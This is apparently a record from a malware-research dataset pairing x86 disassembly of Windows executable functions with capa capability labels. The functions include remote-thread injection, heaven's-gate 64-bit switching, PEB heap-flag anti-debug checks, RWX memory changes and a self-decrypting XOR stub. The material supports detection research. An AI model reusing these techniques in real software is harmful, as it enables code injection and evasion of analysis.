joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412d80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447c58
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x45b198]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
push 4
push 0x3000
mov dword [ebp - 0x44], 1
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
mov dword [ebp - 0x20], ecx
mov ecx, dword [esi]
and eax, 0xfffffffc
push eax
push 0
push 0
push ecx
mov dword [ebp + 8], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], eax
call fcn.00418f20
mov ebx, edx
mov edi, eax
or eax, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x3c], edi
mov ecx, edi
mov dword [ebp - 0x38], ebx
je 0x412e4b
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push dword [ebp + 8]
push dword [ebp - 0x20]
push ebx
push edi
push dword [ebp - 0x14]
call fcn.00419250
test eax, eax
mov eax, dword [ebp + 8]
je 0x412e1f
mov ecx, edi
mov edx, ebx
cmp dword [ebp - 0x18], eax
je 0x412e4b
push 0x4000
push eax
push ebx
push edi
push dword [ebp - 0x14]
call fcn.004190c0
xorps xmm0, xmm0
movlpd qword [ebp - 0x3c], xmm0
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x3c]
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ebx
or ecx, edx
mov dword [ebp - 4], 0
je 0x412ead
cmp dword [esi + 0x18], 0
mov eax, dword [esi + 4]
push 0
push 0
je 0x412e78
push ebx
push edi
push dword [eax + 0xc]
push dword [eax + 8]
push 0
push 0
push dword [esi]
call fcn.00416740
jmp 0x412e89
mov ecx, dword [eax + 8]
push edi
push ecx
push 0
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x412ead
push dword [esi + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x412edd
mov eax, dword [esi + 4]
push ebx
mov dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or esi, 0xffffffff
or ecx, 0xffffffff
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
mov eax, edi
mov dword [ebp - 4], 1
or eax, ebx
je 0x412f37
push 0x4000
push dword [ebp + 8]
push ebx
push edi
push dword [ebp - 0x14]
call fcn.004190c0
mov edx, dword [ebp - 0x18]
jmp 0x412f39
cmp dword [esi + 0x18], 0
je 0x412f14
cmp dword [esi + 0x10], 0
je 0x412f14
xorps xmm0, xmm0
push ebx
movlpd qword [ebp - 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push 0
push 8
push eax
push ebx
push edi
push dword [esi]
call fcn.004182f0
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
jmp 0x412eb6
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x1c]
xor ecx, ecx
jmp 0x412eb3
mov edx, ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x412f50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447c58
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x45b198]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
push 4
push 0x3000
mov dword [ebp - 0x44], 1
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
mov dword [ebp - 0x20], ecx
mov ecx, dword [esi]
and eax, 0xfffffff8
push eax
push 0
push 0
push ecx
mov dword [ebp + 8], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], eax
call fcn.00418f20
mov ebx, edx
mov edi, eax
or eax, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x3c], edi
mov ecx, edi
mov dword [ebp - 0x38], ebx
je 0x41301b
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push dword [ebp + 8]
push dword [ebp - 0x20]
push ebx
push edi
push dword [ebp - 0x14]
call fcn.00419250
test eax, eax
mov eax, dword [ebp + 8]
je 0x412fef
mov ecx, edi
mov edx, ebx
cmp dword [ebp - 0x18], eax
je 0x41301b
push 0x4000
push eax
push ebx
push edi
push dword [ebp - 0x14]
call fcn.004190c0
xorps xmm0, xmm0
movlpd qword [ebp - 0x3c], xmm0
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x3c]
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ebx
or ecx, edx
mov dword [ebp - 4], 0
je 0x41307d
cmp dword [esi + 0x18], 0
mov eax, dword [esi + 4]
push 0
push 0
je 0x413048
push ebx
push edi
push dword [eax + 0xc]
push dword [eax + 8]
push 0
push 0
push dword [esi]
call fcn.00416740
jmp 0x413059
mov ecx, dword [eax + 8]
push edi
push ecx
push 0
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x41307d
push dword [esi + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4130ad
mov eax, dword [esi + 4]
push ebx
mov dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or esi, 0xffffffff
or ecx, 0xffffffff
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
mov eax, edi
mov dword [ebp - 4], 1
or eax, ebx
je 0x413107
push 0x4000
push dword [ebp + 8]
push ebx
push edi
push dword [ebp - 0x14]
call fcn.004190c0
mov edx, dword [ebp - 0x18]
jmp 0x413109
cmp dword [esi + 0x18], 0
je 0x4130e4
cmp dword [esi + 0x10], 0
je 0x4130e4
xorps xmm0, xmm0
push ebx
movlpd qword [ebp - 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push 0
push 8
push eax
push ebx
push edi
push dword [esi]
call fcn.004182f0
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
jmp 0x413086
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x1c]
xor ecx, ecx
jmp 0x413083
mov edx, ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x418d30
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44865b
mov eax, dword fs:[0]
push eax
sub esp, 0x454
mov eax, dword [0x45b198]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push 0x44e590
push str.kernel32.dll
push ebx
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x45c], 0
call fcn.00416f80
push edx
push eax
push ebx
call fcn.00417210
mov ecx, dword [0x45da08]
mov dword [ebp - 0x458], eax
or eax, edx
mov dword [ebp - 0x454], edx
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0xffffffff
mov dword [ebp - 0x448], ecx
jne 0x418e7c
test ebx, ebx
mov eax, ebx
cmove eax, dword [0x45da04]
push eax
call dword [0x44a414]
push eax
push 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x418e42
push 0x424
lea eax, [ebp - 0x434]
mov dword [ebp - 0x438], 0x428
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x438]
push eax
push esi
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x418e3b
lea eax, [ebp - 0x418]
push str.kernel32.dll
push eax
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
je 0x418e9f
lea eax, [ebp - 0x438]
push eax
push esi
call sub.KERNEL32.dll_Module32NextW
test eax, eax
jne 0x418e12
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movlpd qword [ebp - 0x440], xmm0
mov eax, dword [ebp - 0x440]
mov edx, dword [ebp - 0x43c]
push 0x44e590
push edx
push eax
push ebx
call fcn.00417520
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], edx
mov dword [ebp - 0x448], 0
cmp dword [edi + 0x14], 8
mov dword [ebp - 4], 0
jb 0x418e8b
mov edi, dword [edi]
push edi
lea ecx, [ebp - 0x460]
call fcn.00411e30
or eax, edx
je 0x418eaf
mov bl, 1
jmp 0x418eb1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x41c]
cdq
jmp 0x418e59
xor bl, bl
mov esi, dword [ebp - 0x45c]
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x418ef7
mov edx, dword [esi + 8]
mov eax, edx
mov ecx, dword [esi + 0xc]
or eax, ecx
mov dword [ebp - 4], 1
je 0x418eec
cmp dword [esi], 0
je 0x418eec
push 0x4000
push dword [esi + 0x10]
push ecx
push edx
push dword [esi + 4]
call fcn.004190c0
push 0x18
push esi
call fcn.004365ef
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004367f8
mov esp, ebp
pop ebp
ret
Function at 0x41b630
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x41b658
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0xc], eax
jmp 0x41b660
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
test ecx, ecx
jle 0x41b679
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x41b681
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
test ecx, ecx
jle 0x41b69a
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x41b6a2
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
test ecx, ecx
jle 0x41b6bb
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x41b6c3
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov eax, edx
mov dword [ebp - 4], 0
cdq
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x41b704
add dword [esp], 5
retf

Function at 0x422283
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x437cc0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x45b198]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x437ce7
mov ecx, 5
int 0x29
push 2
call fcn.004375cd
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x437df2
test esi, esi
jne 0x437df2
push 2
call fcn.004375cd
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004367f8
mov esp, ebp
pop ebp
ret

Function at 0x441110
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x44113a
mov eax, 2
pop ebp
ret
push esi
call fcn.00441040
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x44115a
jmp dword [eax*4 + 0x441190]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.00437c60
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x441ae0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.0041ef60
mov esi, dword [ebp + 8]
test al, al
je 0x441afe
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.00441b10
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x441c40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x441c9c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x441c9c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x441c9c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x441c9c
cmp dword [ecx + 0x74], 0xe
jbe 0x441c9c
cmp dword [ecx + 0xe8], 0
je 0x441c9c
push dword [ebp + 8]
call fcn.00441b10
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x2a8e660
call fcn.004418f0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x441cd1
push dword [ebp + 8]
call fcn.00441ae0
mov esp, ebp
pop ebp
ret

Function at 0x441d10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x441d6c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x441d6c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x441d6c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x441d6c
cmp dword [ecx + 0x74], 0xe
jbe 0x441d6c
cmp dword [ecx + 0xe8], 0
je 0x441d6c
push dword [ebp + 8]
call fcn.00441b10
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x2a8e660
call fcn.004418f0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x441da1
push dword [ebp + 8]
call fcn.00441ae0
mov esp, ebp
pop ebp
ret

Function at 0x446cd0
Capabilities:
Get process heap force flags

Disassembly:
call fcn.00441040
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x30]
mov edx, dword [ecx + 0xa4]
shl edx, 0x10
or edx, dword [ecx + 0xa8]
cmp edx, 0x50001
jae 0x446cfa
add eax, 0x74
ret
cmp edx, 0x60000
jae 0x446d06
add eax, 0x78
ret
add eax, 0x88
ret

Function at 0x446d10
Capabilities:
Get process heap force flags

Disassembly:
call fcn.00441040
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x30]
mov edx, dword [ecx + 0xa4]
shl edx, 0x10
or edx, dword [ecx + 0xa8]
cmp edx, 0x60000
jae 0x446d3a
sub eax, 0xffffff80
ret
add eax, 0x90
ret
Function at 0x482bd6
Capabilities:
Encode data using xor

Disassembly:
ret 0x2c
sub esp, 0x30
nop
mov edx, edx
pushal
add esp, 0x24
je 0x482c7e
not cl
call fcn.00482a5b
cmp esi, 0x7c6ed86b
mov ebx, dword [esp - 4]
dec ecx
mov bl, 0
sub ebx, 0x1e
dec edi
xor edi, 0xbffe4176
lahf
not esi
sub bx, 0x62
jne 0x482bfa
lea edi, [ebx]
cld
cld
mov cl, 0x9f
movzx edx, word [ebx + 0x3c]
adc edx, 0xffffee2b
xchg esi, esi
jns 0x482bfa
lahf
not ecx
nop
cld
mov edx, dword [edx + ebx + 0x11d6]
xor dx, 0x45
xchg ecx, ecx
jne 0x482bfa
xchg ch, al
dec ecx
inc edi
push 0x73a097ad
dec ch
not edx
call fcn.00482a83
mov dword [esp + 0x44], esi
not dh
add edi, 0x31
call fcn.00482ac7
xchg dl, cl
mov dword [esp + 0x34], eax
mov edi, ebx
nop
cmp eax, 3
jle 0x482ccc
not cl
mov dh, al
mov eax, dword fs:[0x18]
test eax, eax
cld
js 0x482c7e
test ch, al
sub dh, cl
mov eax, dword [eax + 0x34]
jmp 0x482c91
push 0x18997f30
call fcn.00482a83
test dl, ah
adc dh, 0xfd
mov eax, esi
call eax
add al, 0
jne 0x482cb0
and al, 0xff
test al, 0x7c
xor dl, 0xba
inc eax
dec edi
xchg esi, ecx
add ah, al
dec edi
inc edx
call fcn.00482df0
not dh
mov al, 0xb6
adc dh, 0x8b
push 0x64e7f434
mov esi, 0x51f89583
call fcn.00482a83
push dword [esp + 0x34]
call esi
jmp 0x482cca
xchg bl, ch
pop edi
pop esi
pop ebp
pop edx
pop ebx
pop edx
pop ecx
pop eax
jmp 0x482a20

Function at 0x40189d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edx, dword [0x403050]
mov ebx, eax
add edx, eax
mov eax, 0x403054
call fcn.004017e0
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x40277c
push edx
sub edi, fcn.00401f26
push edi
xor eax, eax
push fcn.00401f26
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401907
mov eax, fcn.00401f26
mov ebx, esi
mov edx, edi
call fcn.004017e0
mov edx, 0x1c000
mov eax, 0x403054
mov ebx, esi
call fcn.004010f2
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401dfd
Capabilities:
Check if file exists
Check mutex on windows
Get common file path

Disassembly:
push ebx
push ecx
push edx
push esi
enter 0x460, 0
lea ebx, [ebp - 0x258]
push ebx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHFOLDER.DLL_SHGetFolderPathW]
push 0x104
lea ebx, [ebp - 0x460]
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 0
push 0
push 0
lea ebx, [ebp - 0x460]
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push ebx
mov byte [ebp - 8], 0
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsW]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea ebx, [ebp - 0x258]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0
push 0
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
push ebx
lea ebx, [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
lea ebx, [ebp - 0x10]
push ebx
lea ebx, [ebp - 0x50]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebx
push ebx
push ebx
sub esi, 5
mov byte [ebp - 0x50], 0
call dword [sym.imp.SHLWAPI.DLL_PathCombineA]
mov eax, esi
jmp 0x401666
Function at 0x4010fc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x428004]
jne 0x401106
repz ret
jmp fcn.0040153f

Function at 0x403eeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402ae9
and dword [ebp - 0x14], 0
cmp dword [0x42a9d0], 0
mov dword [ebp - 0x18], eax
jne 0x403f9e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404046
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404046
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42a9d0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42a9d4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42a9d8], eax
call edi
push eax
call esi
mov dword [0x42a9e0], eax
test eax, eax
je 0x403f9e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42a9dc], eax
mov eax, dword [0x42a9dc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403ff7
cmp dword [0x42a9e0], ecx
je 0x403ff7
push eax
call esi
push dword [0x42a9e0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403ff7
test ebx, ebx
je 0x403ff7
call edi
test eax, eax
je 0x403fee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x403fee
test byte [ebp - 8], 1
jne 0x403ff7
or dword [ebp + 0x10], 0x200000
jmp 0x40402a
mov eax, dword [0x42a9d4]
cmp eax, dword [ebp - 0x18]
je 0x40402a
push eax
call esi
test eax, eax
je 0x40402a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40402a
mov eax, dword [0x42a9d8]
cmp eax, dword [ebp - 0x18]
je 0x40402a
push eax
call esi
test eax, eax
je 0x40402a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42a9d0]
call esi
test eax, eax
je 0x404046
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404048
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010fc
leave
ret
Function at 0x416fa0
Capabilities:
Create pipe

Disassembly:
mov eax, dword [eax]
sub esp, 0x10
push ebx
mov ebx, dword [0x42c77c]
push edi
mov edi, dword [0x42ebfc]
call fcn.00416f20
cmp dword [0x42ebfc], 0x2f
jne 0x416fff
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00416f50
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x417420
Capabilities:
Get disk information

Disassembly:
mov eax, 0x1010
call fcn.00407340
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x100c], eax
mov eax, dword [0x42ebfc]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push edi
mov ebx, 0x1519af
mov edi, 0x8e46a6f0
mov dword [0x42e864], edi
cmp eax, 0x3dc
jne 0x41746a
push 0
push 0
push 0
call esi
mov eax, dword [0x42ebfc]
dec ebx
jne 0x417450
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor esi, esi
jmp 0x417480
cmp eax, 0xa5f
jne 0x4174b7
push 0
call edi
push 0
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x830]
push ecx
push 0x425a90
call ebx
mov eax, dword [0x42ebfc]
cmp esi, 0x84620b
jne 0x4174ce
mov eax, dword [0x429940]
add eax, 0xa231
mov dword [0x42ebfc], eax
cmp eax, 0x141
jne 0x4174e9
mov dword [0x42af08], 0xec58acac
mov dword [0x42af0c], 0xffffffff
inc esi
cmp esi, 0x12d225a
jl 0x417480
call fcn.00417010
mov ecx, dword [esp + 0x1018]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004010fc
add esp, 0x1010
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx